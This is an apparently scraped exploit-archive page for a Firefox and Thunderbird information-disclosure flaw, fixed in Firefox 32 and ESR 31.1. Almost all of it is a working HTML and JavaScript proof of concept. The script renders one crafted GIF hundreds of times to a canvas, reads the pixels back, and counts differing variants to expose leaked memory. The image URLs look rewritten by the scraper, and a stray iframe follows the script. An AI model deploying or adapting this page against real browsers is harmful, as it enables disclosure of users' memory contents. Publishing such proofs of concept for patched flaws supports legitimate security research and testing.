1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 |
source: https://www.securityfocus.com/bid/69525/info Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability. Attackers can exploit this issue to disclose sensitive information that may aid in further attacks. This issue is fixed in: Firefox 32 Firefox ESR 31.1 Thunderbird 31.1 <style> body { background-color: #d0d0d0; } img { border: 1px solid teal; margin: 1ex; } canvas { border: 1px solid crimson; margin: 1ex; } </style> <body onload="set_images()"> <div id="status"> </div> <div id="image_div"> </div> <canvas height=32 width=32 id=cvs> </canvas> <h2>Variants:</h2> <ul id="output"> </ul> <script> var c = document.getElementById('cvs'); var ctx = c.getContext('2d'); var loaded = 0; var image_obj = []; var USE_IMAGES = 300; function check_results() { var uniques = []; uniques.push(image_obj[0].imgdata); document.getElementById('output').innerHTML += '<img src="https://www.exploit-db.com/exploits/39295/' + image_obj[0].imgdata + '">'; for (var i = 1; i < USE_IMAGES; i++) { if (image_obj[0].imgdata != image_obj[i].imgdata) { for (var j = 1; j < uniques.length; j++) if (uniques[j] == image_obj[i].imgdata) break; if (j == uniques.length) { uniques.push(image_obj[i].imgdata); document.getElementById('output').innerHTML += '<img src="https://www.exploit-db.com/exploits/39295/' + image_obj[i].imgdata + '">'; } } } if (uniques.length > 1) alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.'); else alert('The image has just one variant when rendered. You\'re probably OK.'); } function count_image() { loaded++; ctx.clearRect(0, 0, 32, 32); try { ctx.drawImage(this, 0, 0, 32, 32); } catch (e) { } this.imgdata = c.toDataURL(); if (loaded == USE_IMAGES) check_results(); } function set_images() { loaded = 0; create_images(); for (var i = 0; i < USE_IMAGES; i++) image_obj[i].src = 'https://www.exploit-db.com/exploits/39295/id:000110,src:000023.gif?' + Math.random(); } function create_images() { for (var i = 0; i < USE_IMAGES; i++) { image_obj[i] = new Image(); image_obj[i].height = 32; image_obj[i].width = 32; image_obj[i].onerror = count_image; image_obj[i].onload = count_image; document.getElementById('image_div').appendChild(image_obj[i]); } } </script> <iframe src='http://www.example.com/'></iframe> |